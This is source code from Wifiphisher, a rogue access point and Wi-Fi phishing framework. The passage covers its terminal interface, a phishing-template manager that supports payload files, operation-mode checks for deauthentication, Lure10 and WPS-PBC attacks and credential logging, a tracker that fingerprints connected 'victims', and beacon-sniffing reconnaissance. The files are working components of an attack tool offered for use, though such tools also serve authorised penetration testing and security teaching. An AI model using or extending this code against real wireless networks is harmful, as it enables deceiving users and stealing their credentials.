                                    v--> box_height-2

        """

        # get the page boundary
        page_boundary = list(range(1 + (ap_info.max_row *
                                   (ap_info.page_number - 1)),
                              ap_info.max_row + 1 +
                              (ap_info.max_row * (ap_info.page_number - 1))))

        # remove previous content and draw border
        ap_info.box.erase()
        ap_info.box.border(0)

        # show the header
        header_fmt = "{0:30} {1:16} {2:3} {3:4} {4:9} {5:5} {6:20}"
        header = header_fmt.format("ESSID", "BSSID", "CH", "PWR", "ENCR",
                                   "CLIENTS", "VENDOR")
        opt_str = ("Options:  [Esc] Quit  [Up Arrow] Move Up  "
                   "[Down Arrow] Move Down")

        try:
            window_l = screen.getmaxyx()[1]
            screen.addstr(1, 3, display_string(window_l - 3, opt_str))
            screen.addstr(3, 5, display_string(window_l - 5, header))
        except curses.error:
            return

        # show all the items based on their position
        for item_position in page_boundary:
            # in case of no access points discovered yet
            if self.total_ap_number == 0:
                display_str = "No access point has been discovered yet!"
                try:
                    ap_info.box.addstr(1, 1,
                                       display_string(ap_info.max_l - 1,
                                                      display_str),
                                       self.highlight_text)
                except curses.error:
                    return
            # in case of at least one access point
            else:
                # get the access point and it's vendor
                access_point = self.access_points[item_position - 1]
                vendor = self.mac_matcher.get_vendor_name(
                    access_point.mac_address)

                # the display format for showing access points
                display_text = ((
                    "{0:30} {1:17} {2:2} {3:3}% {4:^8} {5:^5}"
                    " {6:20}").format(
                        access_point.name, access_point.mac_address,
                        access_point.channel, access_point.signal_strength,
                        access_point.encryption,
                        access_point.client_count, vendor))
                # shows whether the access point should be highlighted or not
                # based on our current position
                print_row_number = item_position - ap_info.max_row * (
                    ap_info.page_number - 1)

                # bypass the addstr exception
                try:

                    if item_position == ap_info.pos:
                        ap_info.box.addstr(print_row_number, 2,
                                           display_string(
                                               ap_info.max_l - 2,
                                               display_text),
                                           self.highlight_text)
                    else:
                        ap_info.box.addstr(print_row_number, 2,
                                           display_string(
                                               ap_info.max_l - 2,
                                               display_text), self.normal_text)
                except curses.error:
                    return

                # stop if it is the last item in page
                if item_position == self.total_ap_number:
                    break

        # update the screen
        screen.refresh()
        ap_info.box.refresh()


class TuiMain(object):
    """
    TuiMain class to represent the main terminal window
    """

    def __init__(self):
        """
        Construct the class
        :param self: A TuiMain object
        :type self: TuiMain
        :return: None
        :rtype: None
        """

        self.blue_text = None
        self.orange_text = None
        self.yellow_text = None

    def gather_info(self, screen, info):
        """
        Get the information from pywifiphisher and print them out
        :param self: A TuiMain object
        :param screen: A curses window object
        :param info: A namedtuple of printing information
        :type self: TuiMain
        :type screen: _curses.curses.window
        :type info: namedtuple
        :return: None
        :rtype: None
        """

        # setup curses
        try:
            curses.curs_set(0)
        except curses.error:
            pass
        screen.nodelay(True)
        curses.init_pair(1, curses.COLOR_BLUE, screen.getbkgd())
        curses.init_pair(2, curses.COLOR_YELLOW, screen.getbkgd())
        curses.init_pair(3, curses.COLOR_RED, screen.getbkgd())
        self.blue_text = curses.color_pair(1) | curses.A_BOLD
        self.yellow_text = curses.color_pair(2) | curses.A_BOLD
        self.red_text = curses.color_pair(3) | curses.A_BOLD

        while True:
            # catch the exception when screen size is smaller than
            # the text length
            is_done = self.display_info(screen, info)
            if is_done:
                return

    def print_http_requests(self, screen, start_row_num, http_output):
        """
        Print the http request on the main terminal
        :param self: A TuiMain object
        :type self: TuiMain
        :param start_row_num: start line to print the http request
        type start_row_num: int
        :param http_output: string of the http requests
        :type http_output: str
        """

        requests = http_output.splitlines()
        match_str = r"(.*\s)(request from\s)(.*)(\sfor|with\s)(.*)"
        for request in requests:
            # match the information from the input string
            match = re.match(match_str, request.decode('utf-8'))
            if match is None:
                continue

            # POST or GET
            request_type = match.group(1)
            # requst from
            request_from = match.group(2)
            # ip address or http address
            ip_address = match.group(3)
            # for or with
            for_or_with = match.group(4)
            resource = match.group(5)

            start_col = 0
            screen.addstr(start_row_num, start_col, '[')
            start_col += 1
            screen.addstr(start_row_num, start_col, '*', self.yellow_text)
            start_col += 1
            screen.addstr(start_row_num, start_col, '] ')
            start_col += 2

            # concatenate GET or POST
            screen.addstr(start_row_num, start_col, request_type,
                          self.yellow_text)
            start_col += len(request_type)

            # concatenate the word 'request from'
            screen.addstr(start_row_num, start_col, request_from)
            start_col += len(request_from)

            # concatenate the ip address
            screen.addstr(start_row_num, start_col, ip_address,
                          self.yellow_text)
            start_col += len(ip_address)

            # concatenate with or for
            screen.addstr(start_row_num, start_col, for_or_with)
            start_col += len(for_or_with)

            # resource url
            screen.addstr(start_row_num, start_col, resource, self.yellow_text)

            start_row_num += 1

    def display_info(self, screen, info):
        """
        Print the information of Victims on the terminal
        :param self: A TuiMain object
        :param screen: A curses window object
        :param info: A nameduple of printing information
        :type self: TuiMain
        :type screen: _curses.curses.window
        :type info: namedtuple
        :return True if users have pressed the Esc key
        :rtype: bool
        """

        # Get accesspoint instance and read victims from file
        accesspoint_instance = accesspoint.AccessPoint.get_instance()
        accesspoint_instance.read_connected_victims_file()

        is_done = False
        screen.erase()

        _, max_window_length = screen.getmaxyx()
        try:
            # print the basic info on the right top corner
            screen.addstr(0, max_window_length - 30, "|")
            screen.addstr(1, max_window_length - 30, "|")
            # continue from the "Wifiphisher"
            screen.addstr(1, max_window_length - 29,
                          " Wifiphisher " + info.version, self.blue_text)

            screen.addstr(2, max_window_length - 30,
                          "|" + " ESSID: " + info.essid)
            screen.addstr(3, max_window_length - 30,
                          "|" + " Channel: " + info.channel)
            screen.addstr(4, max_window_length - 30,
                          "|" + " AP interface: " + info.ap_iface)
            screen.addstr(5, max_window_length - 30,
                          "|" + " Options: [Esc] Quit")
            screen.addstr(6, max_window_length - 30, "|" + "_" * 29)

            # Print the extensions section
            screen.addstr(1, 0, "Extensions feed: ", self.blue_text)
        except curses.error:
            pass

        if info.em:
            # start raw number from 2
            raw_num = 2
            for client in info.em.get_output()[-5:]:
                screen.addstr(raw_num, 0, client)
                raw_num += 1
        try:
            # Print the connected victims section
            screen.addstr(7, 0, "Connected Victims: ", self.blue_text)
            victims_instance = victim.Victims.get_instance()
            vict_dic = victims_instance.get_print_representation()
            row_counter = 8
            for key in vict_dic:
                screen.addstr(row_counter, 0, key, self.red_text)
                screen.addstr(row_counter, 22, vict_dic[key])
                row_counter += 1
            # Print the http request section
            screen.addstr(13, 0, "HTTP requests: ", self.blue_text)
            if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
                http_output = check_output(
                    ['tail', '-5', '/tmp/wifiphisher-webserver.tmp'])
                self.print_http_requests(screen, 14, http_output)
        except curses.error:
            pass

        # detect if users have pressed the Esc Key
        if screen.getch() == 27:
            is_done = True

        if info.phishinghttp.terminate and info.args.quitonsuccess:
            is_done = True

        screen.refresh()
        return is_done


def display_string(w_len, target_line):
    """
    Display the line base on the max length of window length
    :param w_len: length of window
    :param target_line: the target display string
    :type w_len: int
    :type target_line: str
    :return: The final displaying string
    :rtype: str
    """

    return target_line if w_len >= len(target_line) else target_line[:w_len]


def line_splitter(num_of_words, line):
    """
    Split line to the shorter lines
    :param num_of_words: split the line into the line with lenth equeal
    to num_of_words
    :type num_of_words: int
    :param line: A sentence
    :type line: str
    :return: tuple of shorter lines
    :rtype: tuple
    """
    pieces = line.split()
    return (" ".join(pieces[i:i + num_of_words])
            for i in range(0, len(pieces), num_of_words))



File: wifiphisher/common/phishingpage.py

"""
This module handles all the phishing related operations for
Wifiphisher.py
"""


import os
from shutil import copyfile

import wifiphisher.common.constants as constants

try:
    from configparser import ConfigParser, RawConfigParser
except ImportError:
    from configparser import ConfigParser, RawConfigParser



def config_section_map(config_file, section):
    """
    Map the values of a config file to a dictionary.
    """

    config = ConfigParser()
    config.read(config_file)
    dict1 = {}

    if section not in config.sections():
        return dict1

    options = config.options(section)
    for option in options:
        try:
            dict1[option] = config.get(section, option)
        except KeyError:
            dict1[option] = None
    return dict1


class InvalidTemplate(Exception):
    """ Exception class to raise in case of a invalid template """

    def __init__(self):
        Exception.__init__(self, "The given template is either invalid or " +
                           "not available locally!")


class PhishingTemplate(object):
    """ This class represents phishing templates """

    def __init__(self, name):
        """
        Construct object.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: None
        :rtype: None
        .. todo:: Maybe add a category field
        """

        # setup all the variables

        config_path = os.path.join(constants.phishing_pages_dir, name,
                                   'config.ini')
        info = config_section_map(config_path, 'info')

        self._name = name
        self._display_name = info['name']
        self._description = info['description']
        self._payload = False
        self._config_path = os.path.join(constants.phishing_pages_dir,
                                         self._name, 'config.ini')
        if 'payloadpath' in info:
            self._payload = info['payloadpath']

        self._path = os.path.join(constants.phishing_pages_dir,
                                  self._name.lower(),
                                  constants.SCENARIO_HTML_DIR)
        self._path_static = os.path.join(constants.phishing_pages_dir,
                                         self._name.lower(),
                                         constants.SCENARIO_HTML_DIR,
                                         'static')

        self._context = config_section_map(config_path, 'context')
        self._extra_files = []

    @staticmethod
    def update_config_file(payload_filename, config_path):
        """
        Update the configuration file

        :param self: A PhishingTemplate object
        :param payload_filename: the filename for the payload
        :param config_path: the file path for the configuration
        :type self: PhishingTemplate
        :type payload_filename: str
        :type config_path: str
        :return: None
        :rtype: None
        """

        original_config = ConfigParser()
        original_config.read(config_path)

        # new config file object
        config = RawConfigParser()

        # update the info section
        config.add_section('info')
        options = original_config.options('info')
        for option in options:
            if option != "payloadpath":
                config.set('info', option, original_config.get('info', option))
            else:
                dirname = os.path.dirname(
                    original_config.get('info', 'payloadpath'))
                filepath = os.path.join(dirname, payload_filename)
                config.set('info', option, filepath)

        # update the context section
        config.add_section('context')
        dirname = os.path.dirname(
            original_config.get('context', 'update_path'))
        filepath = os.path.join(dirname, payload_filename)
        config.set('context', 'update_path', filepath)
        with open(config_path, 'w') as configfile:
            config.write(configfile)

    def update_payload_path(self, filename):
        """
        :param self: A PhishingTemplate object
        :filename: the filename for the payload
        :type self: PhishingTemplate
        :type filename: str
        :return: None
        :rtype: None
        """

        config_path = self._config_path
        self.update_config_file(filename, config_path)
        # update payload attribute
        info = config_section_map(config_path, 'info')
        self._payload = False
        if 'payloadpath' in info:
            self._payload = info['payloadpath']

        self._context = config_section_map(config_path, 'context')
        self._extra_files = []

    def merge_context(self, context):
        """
            Merge dict context with current one
            In case of confict always keep current values
        """
        context.update(self._context)
        self._context = context

    def get_context(self):
        """
        Return the context of the template.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: the context of the template
        :rtype: dict
        """

        return self._context

    def get_display_name(self):
        """
        Return the display name of the template.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: the display name of the template
        :rtype: str
        """

        return self._display_name

    def get_payload_path(self):
        """
        Return the payload path of the template.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: The path of the template
        :rtype: bool
        """

        return self._payload

    def has_payload(self):
        """
        Return whether the template has a payload.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: boolean if it needs payload
        :rtype: bool
        """

        if self._payload:
            return True
        return False

    def get_description(self):
        """
        Return the description of the template.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: the description of the template
        :rtype: str
        """

        return self._description

    def get_path(self):
        """
        Return the path of the template files.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: the path of template files
        :rtype: str
        """

        return self._path

    def get_path_static(self):
        """
        Return the path of the static template files.
        JS, CSS, Image files lie there.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: the path of static template files
        :rtype: str
        """

        return self._path_static

    def use_file(self, path):
        """
        Copies a file in the filesystem to the path
        of the template files.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :param path: path of the file that is to be copied
        :type self: str
        :return: the path of the file under the template files
        :rtype: str
        """

        if path is not None and os.path.isfile(path):
            filename = os.path.basename(path)
            copyfile(path, self.get_path_static() + filename)
            self._extra_files.append(self.get_path_static() + filename)
            return filename

    def remove_extra_files(self):
        """
        Removes extra used files (if any)

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: None
        :rtype: None
        """

        for filename in self._extra_files:
            if os.path.isfile(filename):
                os.remove(filename)

    def __str__(self):
        """
        Return a string representation of the template.

        :param self: A PhishingTemplate object
        :type self: PhishingTemplate
        :return: the name followed by the description of the template
        :rtype: str
        """

        return self._display_name + "\n\t" + self._description + "\n"


class TemplateManager(object):
    """ This class handles all the template management operations """

    def __init__(self, data_pages=None):
        """
        Construct object.

        :param self: A TemplateManager object
        :param data_pages: The directory containing the templates
        :type self: TemplateManager
        :return: None
        :rtype: None
        """

        # setup the templates
        self._template_directory = data_pages or constants.phishing_pages_dir
        if data_pages:
            constants.phishing_pages_dir = data_pages

        page_dirs = os.listdir(self._template_directory)

        self._templates = {}

        for page in page_dirs:
            if os.path.isdir(page) and self.is_valid_template(page)[0]:
                self._templates[page] = PhishingTemplate(page)

        # add all the user templates to the database
        self.add_user_templates()

    def get_templates(self):
        """
        Return all the available templates.

        :param self: A TemplateManager object
        :type self: TemplateManager
        :return: all the available templates
        :rtype: dict
        """

        return self._templates

    def is_valid_template(self, name):
        """
        Validate the template
        :param self: A TemplateManager object
        :param name: A directory name
        :type self: A TemplateManager object
        :return: tuple of is_valid and output string
        :rtype: tuple
        """

        html = False
        dir_path = os.path.join(self._template_directory, name)
        # check config file...
        if not "config.ini" in os.listdir(dir_path):
            return False, "Configuration file not found in: "
        try:
            tdir = os.listdir(os.path.join(dir_path, constants.SCENARIO_HTML_DIR))
        except OSError:
            return False, "No " + constants.SCENARIO_HTML_DIR + " directory found in: "
        # Check HTML files...
        for tfile in tdir:
            if tfile.endswith(".html"):
                html = True
                break
        if not html:
            return False, "No HTML files found in: "
        # and if we found them all return true and template directory name
        return True, name

    def find_user_templates(self):
        """
        Return all the user's templates available.

        :param self: A TemplateManager object
        :type self: TemplateManager
        :return: all the local templates available
        :rtype: list
        """

        # a list to store file names in
        local_templates = []

        # loop through the directory content
        for name in os.listdir(self._template_directory):
            # check to see if it is a directory and not in the database
            if (os.path.isdir(os.path.join(self._template_directory, name))
                    and name not in self._templates):
                # check template
                is_valid, output = self.is_valid_template(name)
                # if template successfully validated, then...
                if is_valid:
                    # just add it to the list
                    local_templates.append(name)
                else:
                    # TODO: We should throw an exception instead here.
                    # but if not then display which problem occurred
                    print("[" + constants.R + "!" + constants.W + "] " + output + name)

        return local_templates

    def add_user_templates(self):
        """
        Add all the user templates to the database.

        :param self: A TemplateManager object
        :type: self: TemplateManager
        :return: None
        :rtype: None
        """

        # get all the user's templates
        user_templates = self.find_user_templates()

        # loop through the templates
        for template in user_templates:
            # create a template object and add it to the database
            local_template = PhishingTemplate(template)
            self._templates[template] = local_template

    @property
    def template_directory(self):
        return self._template_directory

    def on_exit(self):
        """
        Delete any extra files on exit

        :param self: A TemplateManager object
        :type: self: TemplateManager
        :return: None
        :rtype: None
        """

        for templ_obj in list(self._templates.values()):
            templ_obj.remove_extra_files()



File: wifiphisher/common/utilities.py

"""Host common and generic functions.

Host all the common and generic functions that are used throughout
the project.

"""

from __future__ import (absolute_import, division, print_function,
                        unicode_literals)

from logging import getLogger
from subprocess import PIPE, Popen

from wifiphisher.common.constants import DN

# pylint: disable=C0103
logger = getLogger(__name__)


def execute_commands(commands):
    """Execute each command and log any errors."""
    for command in commands:
        _, error = Popen(command.split(), stderr=PIPE, stdout=DN).communicate()
        if error:
            logger.error(
                "{command} has failed with the following error:\n{error}".
                format(command=command, error=error))



File: wifiphisher/common/opmode.py

"""
All logic regarding the Operation Modes (opmodes).

The opmode is defined based on the user's arguments and the available
resources of the host system
"""
import argparse
import logging
import os
import sys

import pyric
import wifiphisher.common.constants as constants
import wifiphisher.common.interfaces as interfaces
import wifiphisher.extensions.handshakeverify as handshakeverify

logger = logging.getLogger(__name__)


class OpMode(object):
    """
    Manager of the operation mode
    """

    def __init__(self):
        """
        Construct the class
        :param self: An OpMode object
        :type self: OpMode
        :return: None
        :rtype: None
        """

        self.op_mode = 0x0
        # True if the system only contains one phy interface
        # or if the user wants us to use only one phy
        # e.g. using the --interface option
        self._use_one_phy = False
        # The card which supports monitor and ap mode
        self._perfect_card = None

    def initialize(self, args):
        """
        Initialize the opmode manager
        :param self: An OpMode object
        :param args: An argparse.Namespace object
        :type self: OpMode
        :type args: argparse.Namespace
        :return: None
        :rtype: None
        """

        self._perfect_card, self._use_one_phy =\
            interfaces.is_add_vif_required(args.interface, 
                    args.internetinterface, args.wpspbc_assoc_interface)
        self._check_args(args)

    def _check_args(self, args):
        """
        Checks the given arguments for logic errors.
        :param self: An OpMode object
        :param args: An argparse.Namespace object
        :type self: OpMode
        :type args: argparse.Namespace
        :return: None
        :rtype: None
        """

        if args.presharedkey and \
            (len(args.presharedkey) < 8 or
             len(args.presharedkey) > 64):
            sys.exit('[' + constants.R + '-' + constants.W +
                     '] Pre-shared key must be between 8 and 63 printable'
                     'characters.')

        if args.handshake_capture and not os.path.isfile(
                args.handshake_capture):
            sys.exit('[' + constants.R + '-' + constants.W +
                     '] Handshake capture does not exist.')
        elif args.handshake_capture and not handshakeverify.\
                is_valid_handshake_capture(args.handshake_capture):
            sys.exit('[' + constants.R + '-' + constants.W +
                     '] Handshake capture does not contain valid handshake')

        if ((args.extensionsinterface and not args.apinterface) or
                (not args.extensionsinterface and args.apinterface)) and \
                not (args.noextensions and args.apinterface):
            sys.exit('[' + constants.R + '-' + constants.W +
                     '] --apinterface (-aI) and --extensionsinterface (-eI)'
                     '(or --noextensions (-nE)) are used in conjuction.')

        if args.noextensions and args.extensionsinterface:
            sys.exit('[' + constants.R + '-' + constants.W +
                     '] --noextensions (-nE) and --extensionsinterface (-eI)'
                     'cannot work together.')

        if args.lure10_exploit and args.noextensions:
            sys.exit('[' + constants.R + '-' + constants.W +
                     '] --lure10-exploit (-lE) and --noextensions (-eJ)'
                     'cannot work together.')

        if args.lure10_exploit and not os.path.isfile(constants.LOCS_DIR +
                                                      args.lure10_exploit):
            sys.exit('[' + constants.R + '-' + constants.W +
                     '] Lure10 capture does not exist. Listing directory'
                     'of captures: ' + str(os.listdir(constants.LOCS_DIR)))

        if (args.mac_ap_interface and args.no_mac_randomization) or \
                (args.mac_extensions_interface and args.no_mac_randomization):
            sys.exit(
                '[' + constants.R + '-' + constants.W +
                '] --no-mac-randomization (-iNM) cannot work together with'
                '--mac-ap-interface or --mac-extensions-interface (-iDM)')

        if args.deauth_essid and args.noextensions:
            sys.exit(
                '[' + constants.R + '-' + constants.W +
                '] --deauth-essid (-dE) cannot work together with'
                '--noextension (-nE)')

        # if args.deauth_essid is set we need the second card to
        # do the frequency hopping
        if args.deauth_essid and self._use_one_phy:
            print(('[' + constants.R + '!' + constants.W +
                  '] Only one card was found. Wifiphisher will deauth only '
                  'on the target AP channel'))

        # args.wAI should be used with args.wE
        if args.wpspbc_assoc_interface and not args.wps_pbc:
            sys.exit(
                '[' + constants.R + '!' + constants.W +
                '] --wpspbc-assoc-interface (-wAI) requires --wps-pbc (-wP) option.'
            )

        # if args.logpath is defined args.logging must be set too
        if args.logpath and not args.logging:
            sys.exit(
                '[' + constants.R + '!' + constants.W +
                '] --logpath (-lP) requires --logging option.'
            )

        # if args.credential_log_path is defined args.logging must be set too
        if args.credential_log_path and not args.logging:
            sys.exit(
                '[' + constants.R + '!' + constants.W +
                '] --credential-log-path (-cP) requires --logging option.'
            )

        if args.deauth_channels:
            for channel in args.deauth_channels:
                if channel > 14 or channel < 0:
                    sys.exit(
                        '[' + constants.R + '!' + constants.W +
                        '] --deauth-channels (-dC) requires channels in range 1-14.'
                    )

        # If both args.mitminterface and args.internetinterface are provided, the
        # former takes precedence and the latter gets overwritten.
        # We have ensured that if that is the case, then args.mitminterface will be
        # overwritten with the value of args.internetinterface, whereas if no 
        # args.internetinterface was provided, args.mitminterface will be set to a specific string.
        if args.mitminterface and args.mitminterface != "handledAsInternetInterface":
            print(('[' + constants.O + '!' + constants.W +
                  '] Using  both --mitminterface (-mI) and --internetinterface (-iI)'
                  ' is redundant. Ignoring --internetinterface (-iI).'))

    def set_opmode(self, args, network_manager):
        """
        Sets the operation mode.

        :param self: An OpMode object
        :param args: An argparse.Namespace object
        :param network_manager: A NetworkManager object
        :type self: OpMode
        :type args: argparse.Namespace
        :type network_manager: NetworkManager
        :return: None
        :rtype: None

        ..note: An operation mode resembles how the tool will best leverage
        the given resources.

        Modes of operation
        1) AP and Extensions 0x1
          2 cards, 2 interfaces
          i) AP, ii) EM
          Channel hopping: Enabled
        2) AP, Extensions and Internet 0x2
          3 cards, 3 interfaces
          i) AP, ii) EM iii) Internet
          Channel hopping: Enabled
        3) AP-only and Internet 0x3
          2 cards, 2 interfaces
          i) AP, ii) Internet
        4) AP-only 0x4
          1 card, 1 interface
          i) AP
        5) AP and Extensions 0x5
          1 card, 2 interfaces
          (1 card w/ vif support AP/Monitor)
          i) AP, ii) Extensions
          Channel hopping: Disabled
          !!Most common mode!!
        6) AP and Extensions and Internet 0x6
          2 cards, 3 interfaces
          Channel hopping: Disabled
          (Internet and 1 card w/ 1 vif support AP/Monitor)
          i) AP, ii) Extensions, iii) Internet
        7) Advanced and WPS association 0x7
          3 cards, 3 interfaces
          i) AP, ii) Extensions (Monitor), iii) Extensions (Managed)
        8) Advanced and WPS association w/ 1 vif support AP/Monitor 0x8
          2 cards, 3 interfaces
          i) AP, ii) Extensions (Monitor), iii) Extensions (Managed)
        """

        if not args.internetinterface and not args.noextensions:
            if not self._use_one_phy:
                # check if there is WPS association interface
                if args.wpspbc_assoc_interface:
                    self.op_mode = constants.OP_MODE7
                    logger.info("Starting OP_MODE7 (0x7)")
                else:
                    self.op_mode = constants.OP_MODE1
                    logger.info("Starting OP_MODE1 (0x1)")
            else:
                # TODO: We should not add any vifs here.
                # These should happen after the interface 
                # checks in main engine
                if self._perfect_card is not None:
                    network_manager.add_virtual_interface(self._perfect_card)
                # check if there is WPS association interface
                if args.wpspbc_assoc_interface:
                    self.op_mode = constants.OP_MODE8
                    logger.info("Starting OP_MODE8 (0x8)")
                else:
                    self.op_mode = constants.OP_MODE5
                    logger.info("Starting OP_MODE5 (0x5)")
        if args.internetinterface and not args.noextensions:
            if not self._use_one_phy:
                self.op_mode = constants.OP_MODE2
                logger.info("Starting OP_MODE2 (0x2)")
            else:
                if self._perfect_card is not None:
                    network_manager.add_virtual_interface(self._perfect_card)
                self.op_mode = constants.OP_MODE6
                logger.info("Starting OP_MODE6 (0x6)")

        if args.internetinterface and args.noextensions:
            self.op_mode = constants.OP_MODE3
            logger.info("Starting OP_MODE3 (0x3)")
        if args.noextensions and not args.internetinterface:
            self.op_mode = constants.OP_MODE4
            logger.info("Starting OP_MODE4 (0x4)")

    def internet_sharing_enabled(self):
        """
        :param self: An OpMode object
        :type self: OpMode
        :return: True if we are operating in a mode that shares Internet
        access.
        :rtype: bool
        """

        return self.op_mode in [constants.OP_MODE2, constants.OP_MODE3,
                                constants.OP_MODE6]

    def extensions_enabled(self):
        """
        :param self: An OpModeManager object
        :type self: OpModeManager
        :return: True if we are loading extensions
        :rtype: bool
        """

        return self.op_mode in [
            constants.OP_MODE1, constants.OP_MODE2, constants.OP_MODE5,
            constants.OP_MODE6, constants.OP_MODE7, constants.OP_MODE8
        ]

    def freq_hopping_enabled(self):
        """
        :param self: An OpMode object
        :type self: OpMode
        :return: True if we are separating the wireless cards
        for extensions and launching AP.
        :rtype: bool
        ..note: MODE5 and MODE6 only use one card to do deauth and
        lunch ap so it is not allowed to do frequency hopping.
        """

        return self.op_mode in [
            constants.OP_MODE1, constants.OP_MODE2, constants.OP_MODE7
        ]

    def assoc_enabled(self):
        """
        :param self: An OpMode object
        :type self: OpMode
        :return: True if we are using managed Extensions(that associate to WLANs)
        :rtype: bool
        """
        return self.op_mode in [constants.OP_MODE7, constants.OP_MODE8]


def validate_ap_interface(interface):
    """
    Validate the given interface

    :param interface: Name of an interface
    :type interface: str
    :return: the ap interface
    :rtype: str
    :raises: argparse.ArgumentTypeError in case of invalid interface
    """

    if not(pyric.pyw.iswireless(interface) and \
        pyric.pyw.isinterface(interface) and \
        interfaces.does_have_mode(interface, "AP")):

        raise argparse.ArgumentTypeError("Provided interface ({})"
                                         " either does not exist or"
                                         " does not support AP mode" \
                                        .format(interface))
    return interface



File: wifiphisher/common/victim.py

"""Module to keep track the victims connected to the rogue AP."""

import time

import wifiphisher.common.constants as constants
from wifiphisher.common.macmatcher import MACMatcher as macmatcher


class Victim(object):
    """Resembles a Victim (i.e. a connected device to the rogue AP)."""

    def __init__(self, vmac_address, ip_address):
        """Create a Victim object."""
        self.vmac_address = vmac_address
        self.ip_address = ip_address
        self.os = ""
        self.vendor = ""
        self.timestamp = time.time()

    def associate_victim_mac_to_vendor(self, vmac_address):
        """Find the victims vendor by its mac address.

        Receives a victims mac address as input, finds the corresponding vendor
        by using a macmacther object and then accesses the victim
        dictionary and changes the vendor for the victim with the
        corresponding mac address

        :param self: empty Victim instance
        :type self: Victim
        :param vmac_address: mac address of the victim
        :type vmac_address: str

        """
        macmacther_instance = macmatcher(constants.MAC_PREFIX_FILE)
        vendor = macmacther_instance.get_vendor_name(vmac_address)
        victims_instance = Victims.get_instance()
        if vmac_address in victims_instance.victims_dic:
            victims_instance.victims_dic[vmac_address].vendor = vendor
        else:
            raise Exception("Error: No such mac address exists in dictionary")

    def assign_ip_to_victim(self, vmac_address, ip_address):
        """Update the ip address of the victim by mac address."""
        victims_instance = Victims.get_instance()
        if vmac_address in victims_instance.victims_dic:
            victims_instance.victims_dic[vmac_address].ip_address = ip_address
        else:
            raise Exception("Error: No such mac address exists in dictionary")


class Victims():
    """Singleton class that manages all of the victims."""

    # Instance will be stored here.
    __instance = None

    @staticmethod
    def get_instance():
        """Return the instance of the class or create new if none exists."""
        if Victims.__instance is None:
            Victims()
        return Victims.__instance

    def __init__(self):
        """Initialize the class."""
        if Victims.__instance:
            raise Exception("Error: Victims class is a singleton!")
        else:
            Victims.__instance = self
            self.victims_dic = {}
            self.url_file = open(constants.URL_TO_OS_FILE, "r")

    def add_to_victim_dic(self, victim_obj):
        """Add new victim to the dictionary."""
        self.victims_dic[victim_obj.vmac_address] = victim_obj

    def get_print_representation(self):
        """Return dic with five most recent victims in order to be printed.

        :param self: Victims instance
        :type self: Victims
        :rtype str

        """
        mac_timestamp = {}
        sorted_mac_timestamp = []
        most_recent_dic = {}
        max_victim_counter = 0
        for value in list(self.victims_dic.values()):
            mac_timestamp[value.vmac_address] = value.timestamp

        sorted_mac_timestamp = sorted(list(mac_timestamp.items()),
                                      key=lambda p: float(p[1]))

        for item in reversed(sorted_mac_timestamp):
            if max_victim_counter >= 5:
                return most_recent_dic
            victim_obj = self.victims_dic[item[0]]
            victim_value = '\t' + victim_obj.ip_address + '\t' \
                + victim_obj.vendor + '\t' + victim_obj.os
            most_recent_dic[victim_obj.vmac_address] = victim_value
            max_victim_counter += 1
        return most_recent_dic

    def associate_victim_ip_to_os(self, ip_address, url):
        """Find and update Victims os based on the url it requests.

        Receives a victims ip address and request as input, finds the
        corresponding os by reading the initial requests file and then accesses
        the victim dictionary and changes the os for the victim with the
        corresponding ip address.

        :param self: Victims instance
        :type self: Victims
        :param ip_address: ip address of the victim
        :type ip_address: str
        :param url: request of the victim
        :type url: str

        """
        self.url_file.seek(0)
        for line in self.url_file:
            line = line.split("|")
            url_check = line[1].strip()
            os = line[0].strip()
            if url_check in url:
                for key in self.victims_dic:
                    if ip_address == self.victims_dic[key].ip_address:
                        self.victims_dic[key].os = os



File: wifiphisher/common/recon.py

"""Handles all reconnaissance operations."""



from logging import getLogger
from threading import Thread
from time import sleep, strftime

import scapy
import scapy.layers.dot11 as dot11
import wifiphisher.common.globals as universal
from wifiphisher.common.constants import LOCS_DIR, NON_CLIENT_ADDRESSES
from wifiphisher.common.interfaces import NetworkManager

LOGGER = getLogger(__name__)


class AccessPoint(object):
    """Represents an access point."""

    def __init__(self, ssid, bssid, channel, encryption, capture_file=False):
        # type: (str, str, str, str, bool) -> None
        """Initialize class with all the given arguments."""
        self.name = ssid
        self.mac_address = bssid
        self.channel = channel
        self.encryption = encryption
        self.signal_strength = None
        self.client_count = 0
        self._clients = set()

        if capture_file:
            with open(capture_file, "a") as _file:
                _file.write("{bssid} {ssid}\n".format(bssid=bssid, ssid=ssid))

    def add_client(self, client):
        # type: (str) -> None
        """Add client to access point."""
        if client not in self._clients:
            self._clients.add(client)
            self.client_count += 1


class AccessPointFinder(object):
    """Finds all the available access point."""

    def __init__(self, ap_interface, network_manager):
        # type: (str, NetworkManager) -> None
        """Initialize class with all the given arguments."""
        self._interface = ap_interface
        self.observed_access_points = list()
        self._capture_file = False
        self._should_continue = True
        self._hidden_networks = list()
        self._sniff_packets_thread = Thread(target=self._sniff_packets)
        self._channel_hop_thread = Thread(target=self._channel_hop)
        self._network_manager = network_manager

    def _process_packets(self, packet):
        # type: (scapy.layers.RadioTap) -> None
        """Process a RadioTap packet to find access points."""
        # check the type of the packet
        if packet.haslayer(dot11.Dot11Beacon):
            # check if the packet has info field to prevent processing
            # malform beacon
            if hasattr(packet.payload, 'info'):
                # if the packet has no info (hidden ap) add MAC address of it
                # to the list
                # note \00 used for when ap is hidden and shows only the length
                # of the name. see issue #506
                if not packet.info or b"\00" in packet.info:
                    if packet.addr3 not in self._hidden_networks:
                        self._hidden_networks.append(packet.addr3)
                # otherwise get it's name and encryption
                else:
                    self._create_ap_with_info(packet)

        # if packet is a probe response and it's hidden add the
        # access point
        elif packet.haslayer(dot11.Dot11ProbeResp):
            if packet.addr3 in self._hidden_networks:
                self._create_ap_with_info(packet)

        # check to see if it is a client of access points
        elif packet.haslayer(dot11.Dot11):
            self._find_clients(packet)

    def _create_ap_with_info(self, packet):
        # type: (scapy.layers.RadioTap) -> None
        """Create and add an access point using the extracted information.
